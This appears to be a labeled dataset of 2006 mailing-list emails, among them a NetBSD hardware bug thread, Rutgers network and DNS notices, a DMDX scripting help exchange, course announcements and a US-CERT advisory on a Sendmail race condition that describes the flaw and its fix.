SIGNATURE----- Version: GnuPG v1.4.2.2 (NetBSD) iQEVAwUBRCmAxmbEgy5pMgQ9AQJSKwf9HwAMZUIQovjDdq8ZSJTO7KjgD06IfhUw Dm4SHscKcQsB1bNcnFqonIcG9c5hqZkbAlArZW1NOhdPGl9gP+rQ+bqzKhyQLw6+ c/NyZw8HaYPHNzsw4PZ7mT1RX/1MW+oJOuxJ/+SB0HdOjd9kunlwte7c+HNh5+Fo 3GmFt/uvQxgiXe0x8Dajdlr7Aci8wMlpjCm6vOIJi3B3UpU0zl2mfDdhkthSoWJs V//tiXYRY9avbA/g/3UpqNAAbNv0L2NSjNdfBO9FkNcbCSvTSr49j00rZWyDRO8k W/83gDGNFwWEpqHix0PvVjGiEQlpOwX9BObnifMqTau9cOZ1WiDohw== =BG8p -----END PGP SIGNATURE----- --lCAWRPmW1mITcIfM-- From: Brian Moriarty To: bugs Cc: Subject: Re: hardware/2300 Date: Wed, 5 Apr 2006 10:51:50 -0400 --b5gNqxB1S1yM7hjW Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Second request for rma sent to asus, April 4, 2006. --b5gNqxB1S1yM7hjW Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.1 (NetBSD) iQEVAwUBRDPZhmbEgy5pMgQ9AQKPmQgAq44zu50jhUIRnz0C5T/shzKiQCD837r4 rGOKVYj3vZe1cjNlreMpE2VWUn9tGWCz9/gvkTk+Xx4h8ZYo5z+YaX5UQGzSOnlc GenBtQhkrYTYuE/0DD63t/1UOziDOa5QqSqqYlLmut11P9ngzKowQ3C1D2nVw3oL SvKKY+IJjB5J0vgqUGuCG02lww/Tohwi9Up4rQWM4P6F8rVv0SgCuMVslshcIvPM iVAE4eaXrLN7GAgpbaJwIxiGd1/edIB6RgYhBPhvhzzW40eRZOaaaJicuZMJ3rR4 DsILgUSPDoxftc5GzRh8nR/0r+nD29MWgrs9TPzH936xLvREVhtoYA== =EHxq -----END PGP SIGNATURE----- --b5gNqxB1S1yM7hjW-- From: Brian Moriarty To: bugs Cc: Subject: re: hardware/2300 Date: Fri, 7 Apr 2006 12:32:12 -0400 --vJguvTgX93MxBIIe Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Third request for rma sent, April 7, 2006. --vJguvTgX93MxBIIe Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (NetBSD) iQEVAwUBRDaUDGbEgy5pMgQ9AQJghQgAk6t4W6CqQQTEovtveJ3cRdgD4Qrum2iR jlhbxuD4rXg8hmVD+dV1fF63t7noiX/Pw1P8ZiCiVBZZfmiXB9LDtgGSmIw5CDur JdLSdme9JTFftv6DYbt0wUJzN6Gg3O4GsWoi7ZAMaTIF8+2KG25V4Y6cr0wXbdKg W54pK7UQN4rFc8HpO+NG+vxnZgcCVBKf3eA5DVEHtSB1MTxnOdTb1BDGV7s/qyYc ir6fjkZ7JXA3dsNdlQ24BL5iRu2KnON97uFWP3y7l8t5I98bmX1mnzsx4ZKaWO3L rUqC6OjK5nQ+4IUTncz6YMMky/rH7BASoHnqBgWLQrncfFa9mMjR6A== =Rbke -----END PGP SIGNATURE----- --vJguvTgX93MxBIIe-- From: Brian Moriarty To: bugs Cc: Subject: re: hardware/2300 Date: Mon, 10 Apr 2006 14:45:46 -0400 --Kj7319i9nmIyA2yE Content-Type: text/plain; charset=us-ascii Content-Disposition: inline RMA received from manufacturer. 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Affected: Rutgers University, Seton Hall, Stevens Institute, and NJEdge. Type: Scheduled ---- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. TD-Network Operations Center ",0,1 """Michael A. Daley"" ",NET_PEOPLE@EMAIL.RUTGERS.EDU,"Wed, 22 Mar 2006 18:39:41 +0000",DNS Problem 3/21/06,"Yesterday, at 5:02pm in the process of deploying the L1-L2-L3 map application to www.td.rutgers.edu, a web server restart caused the transfer of the rutgers.edu DNS zonefile to be prematurely closed. This zonefile contained only 25% of the host records associated with the rutgers.edu zone. This incomplete zone information was then propagated throughout in internal DNS architecture (external name resolution was unaffected) over the next several minutes. A complete rutgers.edu domain was pushed out at 5:27pm, and checks were immediately put into place to ensure that this type of error is not allowed to propagate again. ---- If you have any questions or comments, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Thank you for your attention. TD-Network Operations Center Michael Daley -Telecommunications Analyst Office of Information Technology -Telecom Div. Rutgers University Email:daley@rutgers.edu Phone:(732)445-7511 ",0,0 finaid@olemiss.edu,undisclosed-recipients:;,"Wed, 22 Mar 2006 11:14:50 -0600",Federal Grants for Hurricane Affected Students,"This message is being sent using E-mail to Groups ( UM Employees ). All fauclty and staff are asked to remind students about the availability of Federal Grants to students affected by Hurricanes Katrina and Rita. These funds are available for spring semester,2006, the 2006 summer sessions, and fall semester, 2006. Additional Information is provided below. Federal Disaster SLEAP Grants are available to students affected by Hurricanes Katrina and/or Rita. Maximum grant per student per academic year is generally $5,000. Grants will be awarded until available funds are exhausted. There is no application deadline; however, applications will be reviewed in the order in which they are received. Student's whose permanent address on August 29, 2005, if affected by Hurricane Katrina, or September 23, 2005, if affected by Hurricane Rita, from the below counties or parishes are encouraged to apply. Mississippi The counties of Adams, Amite, Attala, Claiborne, Choctaw, Clarke, Copiah, Covington, Forrest, Franklin, George, Greene, Hancock, Harrison, Hinds, Jackson, Jasper, Jefferson, Jefferson Davis, Jones, Kemper, Lamar, Lauderdale, Lawrence, Leake, Lincoln, Lowndes, Madison, Marion, Neshoba, Newton, Noxubee, Oktibbeha, Pearl River, Perry, Pike, Rankin, Scott, Simpson, Smith, Stone, Walthall, Warren, Wayne, Wilkinson, Winston, and Yazoo. Louisiana The parishes of Acadia, Allen, Ascension, Assumption, Beauregard, Calcasieu, Cameron, East Baton Rouge, East Feliciana, Evangeline, Iberia, Iberville, Jefferson, Jefferson Davis, Lafayette, Lafourche, Livingston, Orleans, Pointe Coupee, Plaquemines, Sabine, St. Bernard, St. Charles, St. Helena, St. James, St. John, St. Landry, St. Mary, St. Martin, St. Tammany, Tangipahoa, Terrebonne, Vermilion, Vernon, Washington, West Baton Rouge, and West Feliciana. Alabama The counties of Baldwin, Marengo, Mobile, Pickens, Greene, Hale, Tuscaloosa, and Washington. Texas The counties of Angelina, Brazoria, Chambers, Fort Bend, Galveston, Hardin, Harris, Jasper, Jefferson, Liberty, Montgomery, Nacogdoches, Newton, Orange, Polk, Sabine, San Augustine, San Jacinto, Shelby, Trinity, Tyler, and Walker. The application is available at http://www.olemiss.edu/depts/financial_aid/Katrina1.html Office of Financial Aid 257 Martindale Center finaid@olemiss.edu 1-800-891-4596 ",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Wed, 22 Mar 2006 12:10:51 -0500",US-CERT Technical Cyber Security Alert TA06-081A -- Sendmail Race Condition Vulnerability ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-081A Sendmail Race Condition Vulnerability Original release date: March 22, 2006 Last revised: -- Source: US-CERT Systems Affected Sendmail versions prior to 8.13.6. Overview A race condition in Sendmail may allow a remote attacker to execute arbitrary code. I. Description Sendmail contains a race condition caused by the improper handling of asynchronous signals. In particular, by forcing the SMTP server to have an I/O timeout at exactly the correct instant, an attacker may be able to execute arbitrary code with the privileges of the Sendmail process. Details, including statements from affected vendors are available in the following Vulnerability Note: VU#834865 - Sendmail contains a race condition A race condition in Sendmail may allow a remote attacker to execute arbitrary code. (CVE-2006-0058) Please refer to the Sendmail MTA Security Vulnerability Advisory and the Sendmail version 8.13.6 release page for more information. II. Impact A remote, unauthenticated attacker could execute arbitrary code with the privileges of the Sendmail process. If Sendmail is running as root, the attacker could take complete control of an affected system. III. Solution Upgrade Sendmail Sendmail version 8.13.6 has been released to correct this issue. In addition to VU#834865, Sendmail 8.13.6 addresses other security issues and potential weaknesses in the Sendmail code. Patches to correct this issue in Sendmail versions 8.12.11 and 8.13.5 are also available. Appendix A. References * US-CERT Vulnerability Note VU#834865 - * Sendmail version 8.13.6 - * Sendmail MTA Security Vulnerability Advisory - * Sendmail version 8.12.11 Patch - * Sendmail version 8.13.5 Patch - * CVE-2006-0058 - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-081A Feedback VU#834865"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Mar 22, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRCGC0X0pj593lg50AQLczAf+NzjAlt+FR5QXIayFTYL3RPVXuVU8RYtp i4a62FbF6bDQkVJZwWqusa1XCOaAk2HhIYbYHt2RDIKyXU8PlIs1VjtKCMzhfhNE HyJfBhfCJycU0udMsoH1IorH9bves2Ubog+mLS/eGMCcgNUJ+z3P/U8KukZfeRJi 5+jGrqksuz342XlI/9vKc9x3ateUrAyS2plbWc8wzxiG/T82hO7fCxz9mnd1V6zM Ub2iFAIpAbBhvEJOt7/IHxnmED/YaFF6JWbvWrZxXkLpcLFNKTN7j4pyX4ymqPmk rSoSXeCb5cc2ARBCyfsLY5+i96BxV0RgfcBXbT9mRjv7die16AoTXQ== =7/71 -----END PGP SIGNATURE-----",0,1 Jillian Lee ,DMDX@psy1.psych.arizona.edu,"Wed, 22 Mar 2006 15:00:56 -0600","[DMDX] Error: ""Get TextMetrics failed""","Hello, I am trying to do a script for the facial emotional Stroop task. However, whenever I try to run it, before even showing anything on the screen, it has an error that says ""Get TextMetrics failed."" and then it aborts. I think there's something wrong with my lines of instructions because that's where it stops, but I don't know what it is. Here is an excerpt from the beginning of my script: ! Facial Stroop Unmasked; ! Neutral faces (blocks 1 & 2) Threatening faces (blocks 3 & 4); ! Item number ABCDEFF; ! A 1=unmasked 2=masked; ! BCD=picture number; ! B 0=angry 1=neutral; ! C 0=red 1=green 2=blue; ! D model ranges 1-9; ! E=block number; ! FF=item number in block; 0 ""Press SPACEBAR to start""; 0 ""In the following presentation"", ""you will see a cross (+)"", ""on which to fixate your gaze"", ""then a face colored"", ""red green or blue."", """"; 0 ""*SAY the COLOR of the FACE*"", ""into the microphone"", ""as *QUICKLY* as possible!"", ""IGNORE the FACE ITSELF"", """"; 0 ""Speak loudly with your mouth"", ""as close to the microphone"", ""as you can."", """"; 0 ""A cross (+) will appear before each picture"", ""to help you fixate your eyes on the correct"", ""area of the monitor."", "" ""begin PICTURE PRESENTATION>""; 0 <% 59> /c; +1129101 g""+2"" <% 75> / * ""129""; 0 /c; +1102102 g""+2"" <% 75> / * ""102""; 0 /c; +1111103 g""+2"" <% 75> / * ""111""; 0 /c; Thanks, Jillian Lee Texas A&M University",0,0 """Francis P. Forte"" ",everyone@cs.rutgers.edu,"Wed, 22 Mar 2006 19:53:38 +0000",Internet Connection,"For those of you that are interested in the status of the Rutgers Internet upgrade, here are some details on the subject. Rutgers is currently awaiting local access facilities from AT&T to effect an upgrade from OC-3 to OC-12 at our commodity Internet demarcation. Although the University has a contract with Sprint for Internet services, the local connection is still provided by AT&T since they already have a presence in our facilities. The upgraded service was ordered last year, but unfortunately the provisioning of the service within these carriers takes an exhorbitant amount of time to implement. Normally quoted time interval for service delivery is 90 days. From their perspective, everything is on schedule. We have escalated our concerns to both Sprint and AT&T and hope to have closure soon. As soon as we receive an expected turn-up date, I'll pass that information onto the community. Thank you ****************************************************** Frank Forte Director of Telecommunications Enterprise Systems and Services Rutgers University Office of Information Technology 732-445-7535 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 22 Mar 2006 15:22:47 -0700","[DMDX] Re: Error: ""Get TextMetrics failed""","Hmm, first time we've seen that. You must have some impressive combination of styles or font's that throwing the Windows GetTextMetrics function for a loop that DMDX uses to find out how big a display will be. I'd paste the file into Wordpad and see if that doesn't fix it. Otherwise I'd pour it through Notepad to strip out formatting and paste it back into a .RTF file. At 03:00 PM 3/22/2006 -0600, you wrote: >Hello, > >I am trying to do a script for the facial emotional Stroop task. However, >whenever I try to run it, before even showing anything on the screen, it >has an error that says ""Get TextMetrics failed."" and then it aborts. I >think there's something wrong with my lines of instructions because that's >where it stops, but I don't know what it is. > >Here is an excerpt from the beginning of my script: > > > < wc >000255000> > > > >! Facial Stroop Unmasked; > >! Neutral faces (blocks 1 & 2) Threatening faces (blocks 3 & 4); > >! Item number ABCDEFF; > >! A 1=unmasked 2=masked; > >! BCD=picture number; > >! B 0=angry 1=neutral; > >! C 0=red 1=green 2=blue; > >! D model ranges 1-9; > >! E=block number; > >! FF=item number in block; > > > >0 ""Press SPACEBAR to start""; > >0 ""In the following presentation"", ""you will see a cross >(+)"", ""on which to fixate your gaze"", ""then a face colored"", >""red green or blue."", """"; > >0 ""SAY the COLOR of the FACE"", ""into the microphone"", 0> ""as QUICKLY as possible!"", ""IGNORE the FACE ITSELF"", >""""; > >0 ""Speak loudly with your mouth"", ""as close to the >microphone"", ""as you can."", """"; > >0 ""A cross (+) will appear before each picture"", ""to help >you fixate your eyes on the correct"", ""area of the monitor."", 2>"" ""begin PICTURE PRESENTATION>""; > >0 <% 59> /c; > > > >+1129101 g""+2"" <% 75> / * ""129""; > >0 /c; > >+1102102 g""+2"" <% 75> / * ""102""; > >0 /c; > >+1111103 g""+2"" <% 75> / * ""111""; > >0 /c; > > > >Thanks, > >Jillian Lee > >Texas A&M University /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is no use in your walking five miles to fish when you can depend on being just as unsuccessful near home. - Mark Twain",0,0 """ID Tracker <""","<, <, hartmans-ietf@mit.edu, bwijnen@lucent.com","Wed, 22 Mar 2006 18:50:02 -0500",New Version Notification - draft-ietf-idwg-idmef-xml-16.txt ,"New version (-16) has been submitted for draft-ietf-idwg-idmef-xml-16.txt. http://www.ietf.org/internet-drafts/draft-ietf-idwg-idmef-xml-16.txt IETF Secretariat. --- End Message --- Follow-Ups: Re: [internet-drafts-reply@ietf.org: New Version Notification - draft-ietf-idwg-idmef-xml-16.txt] - Analyzer path tracking From: joël Winteregg Prev by Date: Search Engine Marketing-GOOGLE Next by Date: (����)""���úξ� ����������""@ Previous by thread: Search Engine Marketing-GOOGLE Next by thread: Re: [internet-drafts-reply@ietf.org: New Version Notification - draft-ietf-idwg-idmef-xml-16.txt] - Analyzer path tracking Index(es): Date Thread",0,1 Mansi Shah ,cs530@merlot.usc.edu,"Wed, 22 Mar 2006 16:44:48 -0800",Access to test files and office hours,"Hi All, I have changed the access permission to the files which you were not able to access for HW2 to run your test cases. Also I am holding my office hours on Monday 27th March from 11.00am to 12.30pm in SAL 322. Please make sure you have run the test cases before you come to my office hours. -Mansi. Return-Path: to.manasi@gmail.com Delivery-Date: Wed Mar 22 11:52:00 2006 Received: from msg-mx1.usc.edu (msg-mx1.usc.edu [128.125.137.6]) by merlot.usc.edu (8.13.1/8.13.1) with ESMTP id k2MJq0K8021748 for ; Wed, 22 Mar 2006 11:52:00 -0800 Received: from zproxy.gmail.com ([64.233.162.205]) by msg-mx1.usc.edu (Sun Java System Messaging Server 6.2-5.02 (built Dec 1 2005)) with ESMTP id <0IWJ001DMOIA6Q20@msg-mx1.usc.edu> for cs530@merlot.usc.edu; Wed, 22 Mar 2006 11:52:12 -0800 (PST) Received: by zproxy.gmail.com with SMTP id i11so383814nzi for ; Wed, 22 Mar 2006 11:51:46 -0800 (PST) Received: by 10.36.119.20 with SMTP id r20mr1882593nzc; Wed, 22 Mar 2006 11:51:46 -0800 (PST) Received: from toshibauser ( [24.126.16.120]) by mx.gmail.com with ESMTP id j7sm1117671nzd.2006.03.22.11.51.44; Wed, 22 Mar 2006 11:51:46 -0800 (PST) Date: Wed, 22 Mar 2006 11:51:43 -0800 From: Manasi Shah Subject: Access to test files and office hours To: cs530@merlot.usc.edu Message-id: <4421aad2.7bc5dff0.7a8c.ffffafd5@mx.gmail.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Thread-index: AcZN6KOgej2THil0TwOu0ZxXJ7b3bw== DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:from:to:subject:date:mime-version:content-type:content-transfer-encoding:x-mailer:thread-index:x-mimeole:message-id; b=j29M+pfniVZAy4SrGhT3EiXJp5VaagbP3/iOCQGRJPAeEdVbzt596WCbOJeAI6TU2OsmMP3GKFFN/rDQdtlWZYxBpWuuYP1Ajd6p879+DRFoarQQRcN0bq3weqSdKo2TyYPUIDPQ3NY+hB+Wm+qykO9KH3SxJFV5sikGYlTgGVc= X-USC-NOPTR: False Hi All, I have changed the access permission to the files which you were not able to access for HW2 to run your test cases. Also I am holding my office hours on Monday 27th March from 11.00am to 12.30pm in SAL 322. Please make sure you have run the test cases before you come to my office hours. -Mansi. Return-Path: to_mansi@hotmail.com Delivery-Date: Mon Mar 20 12:50:30 2006 Received: from msg-mx0.usc.edu (msg-mx0.usc.edu [128.125.137.5]) by merlot.usc.edu (8.13.1/8.13.1) with ESMTP id k2KKoU9K010060 for ; Mon, 20 Mar 2006 12:50:30 -0800 Received: from hotmail.com ([65.54.224.77]) by msg-mx0.usc.edu (Sun Java System Messaging Server 6.2-5.02 (built Dec 1 2005)) with ESMTP id <0IWG00F3I1WJTOB0@msg-mx0.usc.edu> for cs530@merlot.usc.edu; Mon, 20 Mar 2006 12:50:43 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 20 Mar 2006 12:50:42 -0800 Received: from 24.126.16.120 by BAY105-DAV5.phx.gbl with DAV; Mon, 20 Mar 2006 20:50:37 +0000 Date: Mon, 20 Mar 2006 12:50:27 -0800 From: Mansi Shah Subject: Sorry for the confusion X-Originating-IP: [24.126.16.120] X-Sender: to_mansi@hotmail.com To: cs530@merlot.usc.edu Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Thread-index: AcZMX+rITDvN98YyRmWHoklSj0orZQ== X-Originating-Email: [to_mansi@hotmail.com] X-OriginalArrivalTime: 20 Mar 2006 20:50:42.0758 (UTC) FILETIME=[F419E660:01C64C5F] Hi All, I am sorry for the confusion, I was not aware that the scores have not been sent out yet. Professor Cheng will soon send you your scores. Thank you Mansi. Return-Path: to_mansi@hotmail.com Delivery-Date: Mon Mar 20 12:34:12 2006 Received: from msg-mx3.usc.edu (msg-mx3.usc.edu [128.125.137.8]) by merlot.usc.edu (8.13.1/8.13.1) with ESMTP id k2KKYCZS009440 for ; Mon, 20 Mar 2006 12:34:12 -0800 Received: from hotmail.com ([65.54.224.87]) by msg-mx3.usc.edu (Sun Java System Messaging Server 6.2-5.02 (built Dec 1 2005)) with ESMTP id <0IWG00LVR1594DV0@msg-mx3.usc.edu> for cs530@merlot.usc.edu; Mon, 20 Mar 2006 12:34:25 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 20 Mar 2006 12:34:20 -0800 Received: from 24.126.16.120 by BAY105-DAV15.phx.gbl with DAV; Mon, 20 Mar 2006 20:34:16 +0000 Date: Mon, 20 Mar 2006 12:34:06 -0800 From: Mansi Shah Subject: Office hours for HW2 X-Originating-IP: [24.126.16.120] X-Sender: to_mansi@hotmail.com To: cs530@merlot.usc.edu Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Thread-index: AcZMXaGhzewtzkXDRoyJIP5aazH+og== X-Originating-Email: [to_mansi@hotmail.com] X-OriginalArrivalTime: 20 Mar 2006 20:34:20.0756 (UTC) FILETIME=[AAC84940:01C64C5D] Hi All, I did not receive any regrade requests for home work 2. So I am not holding any office hours for this home work. Please contact me immediately on mansiash@usc.edu if you have sent a re-grade request and I have not received it. Thank you Mansi. Return-Path: to_mansi@hotmail.com Delivery-Date: Wed Feb 15 15:45:40 2006 Received: from msg-mx5.usc.edu (msg-mx5.usc.edu [128.125.137.10]) by merlot.usc.edu (8.13.1/8.13.1) with ESMTP id k1FNjemY024339 for ; Wed, 15 Feb 2006 15:45:40 -0800 Received: from hotmail.com ([65.54.224.75]) by msg-mx5.usc.edu (Sun Java System Messaging Server 6.2-5.02 (built Dec 1 2005)) with ESMTP id <0IUR00HLE60EEAJ0@msg-mx5.usc.edu> for cs530@merlot.usc.edu; Wed, 15 Feb 2006 15:45:50 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 15 Feb 2006 15:45:50 -0800 Received: from 68.181.24.72 by BAY105-DAV3.phx.gbl with DAV; Wed, 15 Feb 2006 23:45:49 +0000 Date: Wed, 15 Feb 2006 15:45:04 -0800 From: Mansi Shah Subject: Office hours X-Originating-IP: [68.181.24.72] X-Sender: to_mansi@hotmail.com To: cs530@merlot.usc.edu Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Thread-index: AcYyidf/mryIucf1T2WthFi+l8i0iA== X-Originating-Email: [to_mansi@hotmail.com] X-OriginalArrivalTime: 15 Feb 2006 23:45:50.0250 (UTC) FILETIME=[F36C30A0:01C63289] Hi all, I am holding my office hours tomorrow (Thursday) 16th Feb from 11.00 am to 12.30 pm in SAL 222. I am sorry for the delay in holding office hours but there was some issue with reserving the room which took some time. Also only those of you who have written to me for a regrade on home work 1 before last Friday, should come to my office hours tomorrow. Mansi. Return-Path: to_mansi@hotmail.com Delivery-Date: Sun Feb 5 20:38:47 2006 Received: from msg-mx2.usc.edu (msg-mx2.usc.edu [128.125.137.7]) by merlot.usc.edu (8.13.1/8.13.1) with ESMTP id k164clLZ009041 for ; Sun, 5 Feb 2006 20:38:47 -0800 Received: from hotmail.com ([65.54.224.80]) by msg-mx2.usc.edu (Sun Java System Messaging Server 6.2-5.02 (built Dec 1 2005)) with ESMTP id <0IU900FDE0WXPH80@msg-mx2.usc.edu> for cs530@merlot.usc.edu; Sun, 05 Feb 2006 20:38:58 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 05 Feb 2006 20:38:57 -0800 Received: from 24.126.16.120 by BAY105-DAV8.phx.gbl with DAV; Mon, 06 Feb 2006 04:38:57 +0000 Date: Sun, 05 Feb 2006 20:38:26 -0800 From: Manasi Shah Subject: About read me file X-Originating-IP: [24.126.16.120] X-Sender: to_mansi@hotmail.com To: cs530@merlot.usc.edu Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 Content-type: multipart/alternative; boundary=""----=_NextPart_000_0000_01C62A94.1DC58C50"" Thread-index: AcYq1ys1X4CpFiUlQs67nrkreAp3Ug== X-Originating-Email: [to_mansi@hotmail.com] X-OriginalArrivalTime: 06 Feb 2006 04:38:57.0492 (UTC) FILETIME=[3E1AD940:01C62AD7] This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C62A94.1DC58C50 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Hi All, Many of you have asked me about the documentation and read me grading. I have listed below few things that you should and should not do in your read me file. 1. Read me files are not meant to convey your feeling about the home work to the grader. They are meant to help any user of your code. It should clearly state how to execute and compile your code. Any special conditions (if any) that have to be meant before the code compilation or execution. 2. It is always a good idea to have sections in your read me file. 3. I am sure taking a look at some professional read me files that come with C libraries or things like that will help. 4. and most important - don't write in the read me that you don't need to write. Don't write about the specs. I know the specs. Only write things that are important (for a third person using your software) to know. I hope this clarifies the doubts people have about documentation grading. -Mansi. ------=_NextPart_000_0000_01C62A94.1DC58C50 Content-Type: text/html; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Hi All, =   =   Many of you = have asked me about the documentation and read me = grading.   =   I have = listed below few things that you should and should not do in = your   read me = file.   =   1.  = Read me files are not meant to convey your feeling about the home   work to the = grader. They are meant to help any user of your code. It = should   clearly = state how to execute and compile your code. Any special = conditions   (if any) = that have to be meant before the code compilation or = execution.     2.  It = is always a good idea to have sections in your read me file. =     3.  I = am sure taking a look at some professional read me files that = come   with C = libraries or things like that will help.     4.  and = most important - don't write in the read me that you don't = need   to write. = Don't write about the specs. I know the specs. Only write = things   that are = important (for a third person using your software) to know.   =   I hope this = clarifies the doubts people have about documentation grading. =   =   -Mansi. =     ------=_NextPart_000_0000_01C62A94.1DC58C50--",0,1 Yvonne Aburrow ,aut-announcements@bath.ac.uk,"Wed, 22 Mar 2006 16:52:56 +0000",Setback on progress of talks,UCEA bans unions from pay dispute talks The AUT has reacted with astonishment and anger at news today that the university employers have gone back on a commitment to meet them next week to try and resolve the current pay dispute for higher education staff. More at: Yvonne ~~ Yvonne Aburrow Bath AUT Secretary http://www.bath.ac.uk/aut/ +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk How to subscribe/unsubscribe to/from aut-discussion: Just send an empty note to one of these addresses: : Receive future messages sent to the aut-discussion mailing list. : Stop receiving messages for the aut-discussion mailing list.,0,1 Peter Suber ,SPARC-OAForum@arl.org,"Wed, 22 Mar 2006 23:24:57 -0500",Asia Commons: New Conference Dates - June 6-8,"[Forwarding from the A2K list. --Peter.] Asia Commons: Asian Conference on the Digital Commons New Dates: June 6-8, 2006 Bangkok, Thailand http://www.asia-commons.net/ In this note: * New Conference Dates * Conference Information * Conference Fees, Registration, and Scholarships * Call for Papers * Can't Join Us? (information for virtual participants) New Conference Dates: As you may be aware, Yale University (USA) is organising the first international conference on Access to Knowledge, the A2K Conference, from April 21-23 (http://islandia.law.yale.edu/isp/a2kconfmain.html). This conference shares many commonalities with the Asia Commons Conference in terms of themes, topics addressed and desired outcomes. In view of this, the organisers of the Asia Commons Conference believe that a deferment of Asia Commons, which was previously scheduled from April 18-20, to June 6-8 will give an opportunity to bring the ideas and lessons from the A2K Conference to the Asia Commons Conference, as well as to ensure that a number of participants and speakers can attend both conferences. Please note that dates related to participant registration and conference papers have also changed as follows: Participant registration deadline: March 31, 2006 Notification of conference scholarship grant: April 14, 2006 Paper proposal deadline: March 21, 2006 Proposal acceptance: March 31, 2006 Full paper submission: May 15, 2006 We look forward to your continued interest in this event and would like to apologize for any inconvenience this may cause. Please do not hesitate to contact conference organisers if you require clarifications or have any concerns regarding the new conference dates: info@asia-commons.net Conference Information: During the last 20 years or so, the level, scope, territorial extent, and role of copyrights and patents have expanded into new sectors. There has been much discussion and debate on the impact of copyrights and patents at a micro level of economic activity while at a macro level, policy dialogue in several international fora, not least of which is WIPO, has been addressing barriers posed by copyrights and patents. Asia Commons: Asian Conference on the Digital Commons invites: * researchers working in the area of copyrights and patents, * promoters of collaborative models, * development practitioners engaged in collaborative content creation and dissemination, and * custodians of public information to go beyond the current dialogue and debate to explore key issues and ideas related to access to knowledge and culture in Asia. Participants are invited to explore key themes and questions related to the Asian Commons: * What is the relationship between infrastructure and copyrights on access to culture and knowledge? * How do software and business process patents affect innovation? * What are the impacts of patents on software innovations in Asia? * What are the emerging Open Business Models for content production in Asia? * Given existing legal, cultural and infrastructural environments both within and outside of Asia, how can we contribute to increasing access to knowledge and culture through an Asia Commons? While we will be inviting a number of speakers who are seen as thought-leaders in the field of Access to Knowledge and Culture, we will also look to innovative approaches to ensure a high degree of interaction among participants in spaces and sessions which are designed to maximize the exchange of experiences and ideas. Conference Fees, Registration, and Scholarships: There are no fees for participation in the conference which is supported through funding made available by the International Development Research Centre's (IDRC's) Pan Asia Program (http://www.idrc.ca/panasia). If you are interested in participating, please register online at http://www.asia-commons.net/conf_registration/add or email registration@asia-commons.net to receive a registration form which can be submitted through email. Please register before March 31, 2006. Thanks to the generous support of IDRC's Pan Asia (http://www.idrc.ca/panasia) and UNDP APDIP's IOSN (http://www.iosn.net) there are also a number of scholarships available for participants in need of financial support. Please visit http://www.asia-commons.net/participate for more information. Can't Join Us? For those unable to join us physically during the event, we invite you to participate through the participants discussion list and visit http://www.asia-commons.net for outputs during the conference itself. To subscribe to the participants discussion list, send an email to participants-request@asia-commons.net with the word subscribe in the subject. A special issue of i4d Magazine (http://www.i4donline.net) will be produced in July 2006 based on the conference and its themes. We look forward to seeing you at the Asia Commons. Your Organising Committee: Shikha Shrestha, Bellanet Asia (in partnership with SAP International) (http://www.sapint.org) Sarah Kerr, Bellanet International Secretariat (http://www.bellanet.org) Jaya Chittoor, Centre for Science, Development and Media Studies (http://www.csdms.in) Sunil Abraham, UNDP APDIP's International Open Source Network (http://www.iosn.net) ",0,1 billmark@cs.utexas.edu,cs395t-mark@cs.utexas.edu,"Thu, 23 Mar 2006 11:48:39 -0600",[FGP] Reminder - project proposals due at 11:59pm,"Seminar, Just a quick reminder that project proposals (in web page form, with URL emailed to me) are due by 11:59 pm tonight. Those of you taking the class CR/NC are exempt from this. Bill ",0,0 isom_center@olemiss.edu,undisclosed-recipients:;,"Thu, 23 Mar 2006 12:07:37 -0600",SARAHFEST TONIGHT!,"This message is being sent 